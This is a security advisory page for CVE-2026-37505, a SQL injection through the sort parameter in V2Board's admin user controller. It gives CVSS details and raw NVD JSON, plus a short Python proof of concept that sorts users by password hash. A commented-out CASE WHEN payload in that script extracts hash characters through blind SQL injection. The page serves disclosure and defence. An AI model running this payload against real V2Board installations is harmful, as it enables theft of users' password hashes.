Security Vulnerability Report
中文
CVE-2026-37505 CVSS 4.9 MEDIUM

CVE-2026-37505

Published: 2026-05-01 16:16:31
Last Modified: 2026-05-11 19:26:39

Description

SQL Injection via ORDER BY clause in V2Board thru 1.7.4. In app/Http/Controllers/Admin/UserController.php, the sort parameter from user input is passed directly to User::orderBy($sort, $sortType) without validation. An authenticated admin can sort users by any database column including password, remember_token, and other sensitive fields, enabling information disclosure through ordering analysis.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:v2board:v2board:*:*:*:*:*:*:*:* - VULNERABLE
V2Board <= 1.7.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "https://example.com/api/admin/user/getUsers" # Admin cookie/token is required (PR:H) headers = { "Authorization": "Bearer <admin_token>" } # Vulnerable payload: Sorting by password hash # This allows an attacker to see the order of password hashes, # facilitating analysis or blind extraction. params = { "page": 1, "sort": "password", # Malicious parameter injection "sortType": "asc" } response = requests.get(target_url, headers=headers, params=params) print("Status Code:", response.status_code) print("Response:", response.json()) # Advanced PoC concept for Blind SQLi via Order By: # Using CASE WHEN to infer data based on response time or ordering # payload = "(CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' THEN id ELSE password END)" # params['sort'] = payload

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37505", "sourceIdentifier": "[email protected]", "published": "2026-05-01T16:16:30.773", "lastModified": "2026-05-11T19:26:38.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Injection via ORDER BY clause in V2Board thru 1.7.4. In app/Http/Controllers/Admin/UserController.php, the sort parameter from user input is passed directly to User::orderBy($sort, $sortType) without validation. An authenticated admin can sort users by any database column including password, remember_token, and other sensitive fields, enabling information disclosure through ordering analysis."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:v2board:v2board:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.4", "matchCriteriaId": "5514969D-29B0-4D10-A1F8-11154F0BCAF6"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/1330e1a82caa79906eec55eeff2c99b9", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/v2board/v2board", "source": "[email protected]", "tags": ["Product"]}]}}